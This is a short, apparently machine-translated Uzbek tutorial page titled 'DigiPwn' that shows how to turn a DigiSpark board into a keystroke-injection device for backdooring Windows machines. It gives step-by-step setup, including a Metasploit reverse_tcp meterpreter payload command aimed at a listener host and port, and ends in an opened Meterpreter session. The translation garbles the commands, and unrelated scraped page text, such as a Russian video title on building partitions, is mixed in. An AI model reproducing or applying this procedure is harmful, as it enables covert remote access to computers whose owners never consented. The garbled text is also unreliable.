Mundarija:

DigiPwn: 5 qadam
DigiPwn: 5 qadam

Video: DigiPwn: 5 qadam

Video: DigiPwn: 5 qadam
Video: Основные ошибки при возведении перегородок из газобетона #5 2024, Noyabr
Anonim
DigiPwn
DigiPwn
DigiPwn
DigiPwn

Xo'sh, biz bu erda nima qilyapmiz?

DigiSpark - bu Arduino -ga asoslangan kichik ishlab chiqish vositasi bo'lib, u HID klaviatura kiritish vazifasini bajaradi. Bugun biz ushbu qurilmani Windows operatsion tizimining orqa eshiklari bilan boshqaramiz!

Ta'minotlar

Arduino IDE

Deraza mashinasi

DigiSpark

Metasploit Framework

Python 2.7 (Eslatma: Sizga "2.7" python kerak, boshqa versiyalarga o'tmang)

nopok

Miya! Bu yordam beradi

1 -qadam: DigiPwn omborini klonlang

DigiPwn omborini klonlang!
DigiPwn omborini klonlang!

DigiPwn GitHub repo -ga klonlash

git klon

Endi katalogni DigiPwn by ga o'zgartiring

CD DigiPwn/

2 -qadam: Impacket -ni o'rnating [Python talab qiladigan modullar]

Bu modul kutubxona uchun zarur bo'lgan SMB serverini ishga tushirish uchun kerak

sudo apt-get install python-impacket

Yoki siz noto'g'ri kutubxonani yuklab olishingiz va shu erdan o'rnatishingiz mumkin.

3 -qadam: yukni ishlab chiqarishga ruxsat bering

Keling, yukni yarataylik!
Keling, yukni yarataylik!
Keling, yukni yarataylik!
Keling, yukni yarataylik!

Yugurish

python DigiPwn.py [HOST] [PORT] [PAYLOAD] [OUTPUT FILE] [format]

masalan

python DigiPwn.py 192.168.1.2 8080 oyna/metr tarjimoni/reverse_tcp win.vbs win.vbs

Endi sizdan stager va SMB serverini ishga tushirish so'raladi. Y tugmasini bosing va Enter ni bosing

4 -qadam: Endi Arduino -ga kodni yuklang

Endi Arduino -ga kodni yuklang!
Endi Arduino -ga kodni yuklang!

Yuklashdan oldin biz Arduino -da DigiSpark taxtasi o'rnatilganligiga ishonch hosil qilishimiz kerak.

Shundan so'ng skript tomonidan yaratilgan keystroke_inject.ino faylini yuklang. Ish tugagandan so'ng, siz tayyormiz

5 -qadam: Bolani ulash vaqti

Bolani ulash vaqti keldi!
Bolani ulash vaqti keldi!

DigiSpark -ni hoziroq ulang va 10 soniya kuting

BOOM Hisoblagich tarjimoni sessiyasi ochildi!

Tavsiya: